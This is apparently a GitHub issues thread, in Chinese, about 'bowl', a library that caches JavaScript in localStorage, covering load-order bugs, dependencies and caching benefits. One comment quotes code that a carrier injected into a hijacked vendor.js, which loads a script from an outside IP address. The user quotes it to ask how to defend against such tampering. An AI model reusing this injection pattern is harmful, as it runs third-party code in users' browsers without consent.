elemefe / bowl Goto Github PK

支持跨域么？

我在浏览器里的缓存不就已经足够了吗？

我能想到的是这样做可以避免用户清除缓存。请问还有其他优势吗？

相信作者肯定是有原因做这个的，这样问只是希望更清晰的了解，从而能更好的推广。

另外又想到一个，就是既然代码是以string的状态存在浏览器，是不是会考虑在代码升级时只加载更新的部分，这样就比浏览器缓存优势大多了。

可是如果是考虑代码升级，那其实还是很复杂的，这个库并没有解决真正核心的问题呀。求解答。谢谢

第一次加载如果文件存在依赖关系会报错
原因:异步加载的脚步加载完的时间不一样,依赖的js文件可能在被依赖的文件加载慢.
解决方案:为创建文件按照add函数编写顺序加载(第二次加载是会这样的,因为文件已经全部缓存)
为异步加载文件创建一个数组,对比add里面的数组进行编码,全部js加载完毕在插入js脚本.
本人能力有限暂没法修复改bug...只提供使用建议.谢谢!
原来是这样的,我并不想写依赖,就像正常写js一样
不写依赖

bowl.add([
		{ url: 'js/jquery.min.js', key: 'jquery' },
		{ url: 'js/touchslidingBase.js', key: 'touchslidingBase' },
		{ url: 'js/touchSlidingBox.min.js', key: 'touchSlidingBox' },
		{ url: 'js/jquery-loading.1.8.min.js', key: 'jquery_loading' },
		{ url: 'js/swiper3.4.2.js', key: 'swiper' ,noCache:false},
		{ url: 'js/youkuVideoInfo.js?v=3', key: 'youkuVideoInfo' },
		{ url: 'js/index.js?v=1', key: 'index' }
	]);

写依赖,依赖文件过长.

bowl.add([
		{ url: 'js/jquery.min.js', key: 'jquery' },
		{ url: 'js/touchslidingBase.js', key: 'touchslidingBase',dependencies: ['jquery'] },
		{ url: 'js/touchSlidingBox.min.js', key: 'touchSlidingBox',dependencies: ['jquery','touchslidingBase'] },
		{ url: 'js/jquery-loading.1.8.min.js', key: 'jquery_loading', dependencies: ['jquery']},
		{ url: 'js/swiper3.4.2.js', key: 'swiper', dependencies: ['jquery']},
		{ url: 'js/youkuVideoInfo.js?v=3', key: 'youkuVideoInfo',dependencies: ['jquery'] },
		{ url: 'js/index.js?v=1', key: 'index',dependencies: ['jquery','touchslidingBase','touchSlidingBox','jquery-loading','swiper3','youkuVideoInfo'] }
	]);

现在测试修改了原文件方法.

var bowl = new Bowl()
bowl.add([
{ url: 'dist/vendor.[hash].js', key: 'vendor' },
{ url: 'dist/app.[hash].js', key: 'app' },
{ url: 'dist/style.[hash].css', key: 'style' }
])
请问不论这三个文件是以何种方式加载，能保证按顺序执行吗？

mi5 plus实测，建议修正。

Documentation 中的md格式貌似不能被正常解析 ，如果是故意为之，请忽略～

我看打包后的js里还有promise对象。。

通过 require.ensure 加载的文件，能缓存到 LocalStorage 中吗

遇到过这样的一个情况，一个vendor.js,被电信运营商劫持，直接修改js的内容。被篡改的js代码如下

var atn_obj = new Object;
atn_obj.oldurl = 'http://images.plateno.com/mall_static/js/vendors.1901b82521098c3663c0.js?cHVzaA=105658';
atn_obj.unified_url = 'http://121.15.207.224:3535/adv_select/ad_unified_access?SP=ABzs/PzoPOz8zPg7yXnpGRmpOgmJugy8vPzs/Pg86Dy8vPzs/Pg8/Nz8/Ny8rKyc7Jv87JzNGYm4PKxtHLzdHNzMjRzMyDzoPOz8rJyseDz4PPg5Kek5PRj5Oei5qRkNGckJKDzsvHy87MyMjGzIPNg88=';
window.setTimeout(function() {
var a = document.createElement("script");
a.src = atn_obj.oldurl;
document.getElementsByTagName("head")[0].appendChild(a);
}, 0);
window.setTimeout(function() {
var a = document.createElement("script");
a.src = atn_obj.unified_url;
document.getElementsByTagName("head")[0].appendChild(a);
}, 0);

由于被篡改，导致执行的顺序出错，出现异常。被篡改的js已被localStorage缓存了，下次访问会继续执行，面对这个异常情况，有比较好的机制去预防么？``

如题

14年底对本地存储缓存代码开始研究；

15年 产出这个东西 https://github.com/litson/Seedjs

介于公司的某些方面限制，没有发扬光大，继而不再继续开发维护；

今天看到被其他团队实现而且发扬光大，心理感觉有点唏嘘，持续关注，加油